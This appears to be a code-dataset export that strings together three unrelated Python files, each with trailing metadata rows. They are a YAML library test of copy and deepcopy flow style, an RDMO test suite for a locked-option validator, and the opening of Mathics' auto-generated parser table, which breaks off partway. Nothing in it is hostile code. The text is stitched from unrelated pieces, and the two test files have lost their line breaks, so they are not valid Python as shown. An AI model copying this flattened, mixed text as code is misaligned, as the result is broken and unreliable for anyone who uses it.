# coding: utf-8 """ Testing copy and deepcopy, instigated by Issue 84 (Peter Amstutz) """ import copy import pytest # NOQA from roundtrip import dedent, round_trip_load, round_trip_dump class TestDeepCopy: def test_preserve_flow_style_simple(self): x = dedent("""\ {foo: bar, baz: quux} """) data = round_trip_load(x) data_copy = copy.deepcopy(data) y = round_trip_dump(data_copy) print('x [{}]'.format(x)) print('y [{}]'.format(y)) assert y == x assert data.fa.flow_style() == data_copy.fa.flow_style() def test_deepcopy_flow_style_nested_dict(self): x = dedent("""\ a: {foo: bar, baz: quux} """) data = round_trip_load(x) assert data['a'].fa.flow_style() is True data_copy = copy.deepcopy(data) assert data_copy['a'].fa.flow_style() is True data_copy['a'].fa.set_block_style() assert data['a'].fa.flow_style() != data_copy['a'].fa.flow_style() assert data['a'].fa._flow_style is True assert data_copy['a'].fa._flow_style is False y = round_trip_dump(data_copy) print('x [{}]'.format(x)) print('y [{}]'.format(y)) assert y == dedent("""\ a: foo: bar baz: quux """) def test_deepcopy_flow_style_nested_list(self): x = dedent("""\ a: [1, 2, 3] """) data = round_trip_load(x) assert data['a'].fa.flow_style() is True data_copy = copy.deepcopy(data) assert data_copy['a'].fa.flow_style() is True data_copy['a'].fa.set_block_style() assert data['a'].fa.flow_style() != data_copy['a'].fa.flow_style() assert data['a'].fa._flow_style is True assert data_copy['a'].fa._flow_style is False y = round_trip_dump(data_copy) print('x [{}]'.format(x)) print('y [{}]'.format(y)) assert y == dedent("""\ a: - 1 - 2 - 3 """) class TestCopy: def test_copy_flow_style_nested_dict(self): x = dedent("""\ a: {foo: bar, baz: quux} """) data = round_trip_load(x) assert data['a'].fa.flow_style() is True data_copy = copy.copy(data) assert data_copy['a'].fa.flow_style() is True data_copy['a'].fa.set_block_style() assert data['a'].fa.flow_style() == data_copy['a'].fa.flow_style() assert data['a'].fa._flow_style is False assert data_copy['a'].fa._flow_style is False y = round_trip_dump(data_copy) z = round_trip_dump(data) assert y == z assert y == dedent("""\ a: foo: bar baz: quux """) def test_copy_flow_style_nested_list(self): x = dedent("""\ a: [1, 2, 3] """) data = round_trip_load(x) assert data['a'].fa.flow_style() is True data_copy = copy.copy(data) assert data_copy['a'].fa.flow_style() is True data_copy['a'].fa.set_block_style() assert data['a'].fa.flow_style() == data_copy['a'].fa.flow_style() assert data['a'].fa._flow_style is False assert data_copy['a'].fa._flow_style is False y = round_trip_dump(data_copy) print('x [{}]'.format(x)) print('y [{}]'.format(y)) assert y == dedent("""\ a: - 1 - 2 - 3 """)
29.254237
74
0.544322
478
3,452
3.682008
0.119247
0.158523
0.1625
0.163636
0.852841
0.828409
0.806818
0.806818
0.806818
0.789205
0
0.006206
0.299826
3,452
117
75
29.504274
0.721969
0.024623
0
0.846939
0
0
0.148303
0
0
0
0
0
0.27551
1
0.05102
false
0
0.030612
0
0.102041
0.081633
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
4947110497b92d0f75b79ee7675a81a0c6d0b607
3,729
py
Python
rdmo/options/tests/test_validator_locked_options.py
berkerY/rdmo
c0500f9b6caff9106a254a05e0d0e8018fc8db28
[ "Apache-2.0" ]
77
2016-08-09T11:40:20.000Z
2022-03-06T11:03:26.000Z
rdmo/options/tests/test_validator_locked_options.py
MSpenger/rdmo
c0500f9b6caff9106a254a05e0d0e8018fc8db28
[ "Apache-2.0" ]
377
2016-07-01T13:59:36.000Z
2022-03-30T13:53:19.000Z
rdmo/options/tests/test_validator_locked_options.py
MSpenger/rdmo
c0500f9b6caff9106a254a05e0d0e8018fc8db28
[ "Apache-2.0" ]
47
2016-06-23T11:32:19.000Z
2022-03-01T11:34:37.000Z
import pytest from django.core.exceptions import ValidationError from rest_framework.exceptions import \ ValidationError as RestFameworkValidationError from ..models import Option, OptionSet from ..serializers.v1 import OptionSerializer from ..validators import OptionLockedValidator def test_create(db): OptionLockedValidator()({ 'optionset': OptionSet.objects.first(), 'locked': False }) def test_create_locked(db): OptionLockedValidator()({ 'optionset': OptionSet.objects.first(), 'locked': True }) def test_update(db): option = Option.objects.first() OptionLockedValidator(option)({ 'optionset': option.optionset, 'locked': False }) def test_update_error(db): option = Option.objects.first() option.locked = True option.save() with pytest.raises(ValidationError): OptionLockedValidator(option)({ 'optionset': option.optionset, 'locked': True }) def test_update_parent_error(db): option = Option.objects.first() option.optionset.locked = True option.optionset.save() with pytest.raises(ValidationError): OptionLockedValidator(option)({ 'optionset': option.optionset, 'locked': False }) def test_update_lock(db): option = Option.objects.first() OptionLockedValidator(option)({ 'optionset': option.optionset, 'locked': True }) def test_update_unlock(db): option = Option.objects.first() option.locked = True option.save() OptionLockedValidator(option)({ 'optionset': option.optionset, 'locked': False }) def test_serializer_create(db): validator = OptionLockedValidator() validator.set_context(OptionSerializer()) validator({ 'optionset': OptionSet.objects.first(), 'locked': False }) def test_serializer_create_locked(db): validator = OptionLockedValidator() validator.set_context(OptionSerializer()) validator({ 'optionset': OptionSet.objects.first(), 'locked': True }) def test_serializer_update(db): option = Option.objects.first() validator = OptionLockedValidator() validator.set_context(OptionSerializer(instance=option)) validator({ 'optionset': option.optionset, 'locked': False }) def test_serializer_update_error(db): option = Option.objects.first() option.locked = True option.save() validator = OptionLockedValidator() validator.set_context(OptionSerializer(instance=option)) with pytest.raises(RestFameworkValidationError): validator({ 'optionset': option.optionset, 'locked': True }) def test_serializer_update_parent_error(db): option = Option.objects.first() option.optionset.locked = True option.optionset.save() validator = OptionLockedValidator() validator.set_context(OptionSerializer(instance=option)) with pytest.raises(RestFameworkValidationError): validator({ 'optionset': option.optionset, 'locked': True }) def test_serializer_update_lock(db): option = Option.objects.first() validator = OptionLockedValidator() validator.set_context(OptionSerializer(instance=option)) validator({ 'optionset': option.optionset, 'locked': True }) def test_serializer_update_unlock(db): option = Option.objects.first() option.locked = True option.save() validator = OptionLockedValidator() validator.set_context(OptionSerializer(instance=option)) validator({ 'optionset': option.optionset, 'locked': False })
22.737805
60
0.665594
340
3,729
7.179412
0.120588
0.1229
0.103236
0.08603
0.886932
0.886932
0.868906
0.846784
0.787382
0.759115
0
0.000346
0.224725
3,729
163
61
22.877301
0.843999
0
0
0.820513
0
0
0.056315
0
0
0
0
0
0
1
0.119658
false
0
0.051282
0
0.17094
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
4963a4295b4f11d605c35447c04d35e30888d7fb
284,221
py
Python
mathics/core/parsetab.py
jake100/Mathics
f90f9107e12072dcfbd76549b61897bc8feb04a8
[ "Apache-2.0" ]
1
2019-04-15T13:18:05.000Z
2019-04-15T13:18:05.000Z
mathics/core/parsetab.py
jake100/Mathics
f90f9107e12072dcfbd76549b61897bc8feb04a8
[ "Apache-2.0" ]
null
null
null
mathics/core/parsetab.py
jake100/Mathics
f90f9107e12072dcfbd76549b61897bc8feb04a8
[ "Apache-2.0" ]
null
null
null
# mathics/core/parsetab.py # This file is automatically generated. Do not edit. _tabversion = '3.2' _lr_method = 'LALR' _lr_signature = '\x96\x11\xbc\xfd\x0c\x9fZ\xe8\xcb\xab\x8c\xf9_9*\x87' _lr_action_items = {'PlusMinus':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[1,1,-123,1,1,-126,1,1,1,-125,-122,-124,1,1,1,-119,1,1,1,-121,1,1,1,58,1,1,1,-120,-118,1,-142,-141,58,-140,58,1,-179,1,1,58,1,1,-79,58,58,58,1,-127,58,-143,58,-23,58,1,1,1,-16,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,-68,1,1,1,1,1,1,1,1,1,-137,1,1,1,1,-69,1,1,1,1,1,1,1,1,-106,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,-37,1,1,1,1,1,1,1,1,-17,1,-39,1,1,1,1,1,1,-148,1,1,1,-45,-18,1,1,1,1,-36,1,1,1,1,-89,1,1,1,1,1,1,1,1,1,-169,1,1,1,1,1,-107,-22,-132,58,58,1,1,-133,1,-180,1,1,1,1,1,-194,1,-175,58,1,58,-105,-65,58,58,58,58,-99,58,58,58,58,-52,58,58,58,-139,-64,-26,58,58,-8,-13,58,58,58,58,-66,58,58,58,58,58,-6,58,58,-78,-172,58,58,58,58,-171,58,-11,-136,58,-5,-147,-144,58,-146,58,-56,58,58,-21,58,58,-96,58,58,1,-10,-24,-80,-9,58,-54,58,58,58,58,58,-19,58,58,58,-100,58,-145,58,58,58,-134,58,-20,58,58,58,58,-53,-67,-130,-131,58,58,58,-12,58,58,58,1,-82,58,58,58,58,58,-109,1,-122,58,-138,-189,-191,-192,-187,-185,-183,1,-195,-176,58,1,1,-168,1,1,58,-108,58,1,1,1,1,1,-193,58,58,-135,58,-129,-128,58,-188,-190,-186,-184,-110,]),'DoubleVerticalBar':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,59,-120,-118,-142,-141,59,-140,59,59,-79,59,59,-155,-156,-127,59,-143,59,-23,59,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,59,59,-133,-175,59,-154,-152,-105,-65,-29,-92,59,59,-99,-31,59,59,-48,-52,59,-43,59,-139,-64,-26,59,59,-8,-13,59,-90,59,59,-66,59,59,59,-51,59,-6,59,-91,-78,-172,59,59,59,59,-171,-46,-11,-136,-58,-5,-147,-144,59,-146,59,-56,-41,59,-21,59,-97,-96,59,-153,-156,-10,-24,-80,-9,-40,-54,59,-32,59,59,59,-19,59,59,59,-100,59,-145,-61,59,59,-134,59,-20,-42,-50,59,59,-53,-67,-130,-131,-49,59,59,-12,59,-33,59,-82,59,59,59,59,59,-109,-122,59,-138,-176,-151,-168,-154,-150,-108,59,59,59,-135,-149,-129,-128,59,-110,]),'Union':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,60,-120,-118,-142,-141,60,-140,60,60,-79,60,60,60,-156,-127,60,-143,60,-23,60,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,60,60,-133,-175,60,-154,60,-105,-65,60,-92,60,60,-99,60,60,60,60,-52,60,60,60,-139,-64,-26,60,60,-8,-13,60,60,60,60,-66,60,60,60,60,60,-6,60,60,-78,-172,60,60,60,60,-171,-46,-11,-136,60,-5,-147,-144,60,-146,60,-56,60,60,-21,60,60,-96,60,60,-156,-10,-24,-80,-9,60,-54,60,60,60,60,60,-19,60,60,60,-100,60,-145,60,60,60,-134,60,-20,60,60,60,60,-53,-67,-130,-131,60,60,60,-12,60,60,60,-82,60,60,60,60,60,-109,-122,60,-138,-176,60,-168,-154,60,-108,60,60,60,-135,60,-129,-128,60,-110,]),'ConjugateTranspose':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,61,-120,-118,61,61,61,61,61,61,61,61,61,61,-156,-127,61,61,61,61,61,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,61,-45,-18,-36,-89,-169,-107,-22,-132,61,61,-133,-175,61,-154,61,-105,61,61,61,61,61,61,61,61,61,61,-52,61,61,61,61,-64,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,-172,61,61,61,61,-171,61,61,-136,61,-5,61,61,61,61,61,61,61,61,61,61,61,61,61,61,-156,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,-134,61,61,61,61,61,61,-53,61,-130,-131,61,61,61,61,61,61,61,61,61,61,61,61,61,-109,-122,61,61,-176,61,-168,-154,61,-108,61,61,61,-135,61,-129,-128,61,-110,]),'ReplaceRepeated':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,62,-120,-118,-142,-141,-157,-140,62,62,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,62,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,62,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,62,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,62,-66,-63,62,62,-51,62,-6,62,-91,-78,-172,-101,-72,62,62,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,62,-21,-27,-97,-96,62,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,62,-81,-76,-19,-85,62,-3,-100,-74,-145,-61,-2,62,-134,-102,-20,-42,-50,-75,62,-53,-67,-130,-131,-49,-86,-44,-12,62,-33,-30,-82,-83,62,-4,-70,62,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,62,62,62,-135,-149,-129,-128,-160,-110,]),'UpSetDelayed':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,63,-120,-118,-142,-141,-157,-140,63,63,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,63,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,63,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,63,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,63,-66,-63,-7,63,-51,-84,-6,63,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,63,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,63,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,63,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,63,-4,-70,-14,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,63,63,63,-135,-149,-129,-128,-160,-110,]),'RepeatedNull':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,85,-120,-118,-142,-141,-157,-140,85,85,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,85,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,85,-133,-175,85,-154,-152,-105,-65,-29,-92,85,85,-99,-31,-47,85,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,85,-66,-63,85,85,-51,85,-6,85,-91,-78,-172,-101,-72,85,85,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,85,-21,-27,-97,-96,85,-153,-156,-10,-24,-80,-9,-40,-54,85,-32,85,85,85,-19,-85,85,-3,-100,85,-145,-61,85,85,-134,-102,-20,-42,-50,85,85,-53,-67,-130,-131,-49,-86,-44,-12,85,-33,-30,-82,-83,85,-4,85,85,-109,-122,85,-138,-176,-151,-168,-154,-150,-108,85,85,85,-135,-149,-129,-128,85,-110,]),'op_Equal':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,65,-120,-118,-142,-141,65,-140,65,65,-79,65,65,-155,-156,-127,65,-143,65,-23,65,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,65,65,-133,-175,65,-154,-152,-105,-65,-29,-92,65,65,-99,-31,65,65,-48,-52,65,-43,65,-139,-64,-26,65,65,-8,-13,65,-90,65,65,-66,65,65,65,-51,65,-6,65,-91,-78,-172,65,65,65,65,-171,-46,-11,-136,-58,-5,-147,-144,65,-146,65,-56,-41,65,-21,65,-97,-96,65,-153,-156,-10,-24,-80,-9,-40,-54,65,-32,65,65,65,-19,65,65,65,-100,65,-145,-61,65,65,-134,65,-20,-42,-50,65,65,-53,-67,-130,-131,-49,65,65,-12,65,-33,65,-82,65,65,65,65,65,-109,-122,65,-138,-176,-151,-168,-154,-150,-108,65,65,65,-135,-149,-129,-128,65,-110,]),'LeftTee':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,66,-120,-118,-142,-141,-157,-140,66,66,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,66,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,66,-133,-175,66,-154,-152,-105,-65,-29,-92,66,66,-99,-31,-47,66,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,66,-66,-63,66,66,-51,66,-6,66,-91,-78,-172,-101,-72,66,66,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,66,-21,-27,-97,-96,66,-153,-156,-10,-24,-80,-9,-40,-54,66,-32,66,66,66,-19,66,66,-3,-100,66,-145,-61,66,66,-134,-102,-20,-42,-50,66,66,-53,-67,-130,-131,-49,-86,-44,-12,66,-33,-30,-82,-83,66,-4,66,66,-109,-122,66,-138,-176,-151,-168,-154,-150,-108,66,66,66,-135,-149,-129,-128,66,-110,]),'slotseq':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[11,11,-123,11,11,-126,11,11,11,-125,-122,-124,11,11,11,-119,11,11,11,-121,11,11,11,11,11,11,11,-120,-118,11,-142,-141,11,-140,11,11,-179,11,11,11,11,11,-79,11,11,11,11,-127,11,-143,11,-23,11,11,11,11,-16,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,-68,11,11,11,11,11,11,11,11,11,-137,11,11,11,11,-69,11,11,11,11,11,11,11,11,-106,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,-37,11,11,11,11,11,11,11,11,-17,11,-39,11,11,11,11,11,11,-148,11,11,11,-45,-18,11,11,11,11,-36,11,11,11,11,-89,11,11,11,11,11,11,11,11,11,-169,11,11,11,11,11,-107,-22,-132,11,11,11,11,-133,11,-180,11,11,11,11,11,-194,11,-175,11,11,11,-105,11,11,11,11,11,11,11,11,11,11,-52,11,11,11,11,-64,-26,11,11,11,-13,11,11,11,11,11,11,11,11,11,11,-6,11,11,-78,-172,11,11,11,11,-171,11,11,-136,11,-5,-147,-144,11,-146,11,-56,11,11,11,11,11,-96,11,11,11,-10,-24,11,-9,11,11,11,11,11,11,11,11,11,11,11,-100,11,-145,11,11,11,-134,11,-20,11,11,11,11,-53,-67,-130,-131,11,11,11,11,11,11,11,11,-82,11,11,11,11,11,-109,11,-122,11,-138,-189,-191,-192,-187,-185,-183,11,-195,-176,11,11,11,-168,11,11,11,-108,11,11,11,11,11,11,-193,11,11,-135,11,-129,-128,11,-188,-190,-186,-184,-110,]),'op_LessEqual':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,68,-120,-118,-142,-141,68,-140,68,68,-79,68,68,-155,-156,-127,68,-143,68,-23,68,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,68,68,-133,-175,68,-154,-152,-105,-65,-29,-92,68,68,-99,-31,68,68,-48,-52,68,-43,68,-139,-64,-26,68,68,-8,-13,68,-90,68,68,-66,68,68,68,-51,68,-6,68,-91,-78,-172,68,68,68,68,-171,-46,-11,-136,-58,-5,-147,-144,68,-146,68,-56,-41,68,-21,68,-97,-96,68,-153,-156,-10,-24,-80,-9,-40,-54,68,-32,68,68,68,-19,68,68,68,-100,68,-145,-61,68,68,-134,68,-20,-42,-50,68,68,-53,-67,-130,-131,-49,68,68,-12,68,-33,68,-82,68,68,68,68,68,-109,-122,68,-138,-176,-151,-168,-154,-150,-108,68,68,68,-135,-149,-129,-128,68,-110,]),'slot':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[2,2,-123,2,2,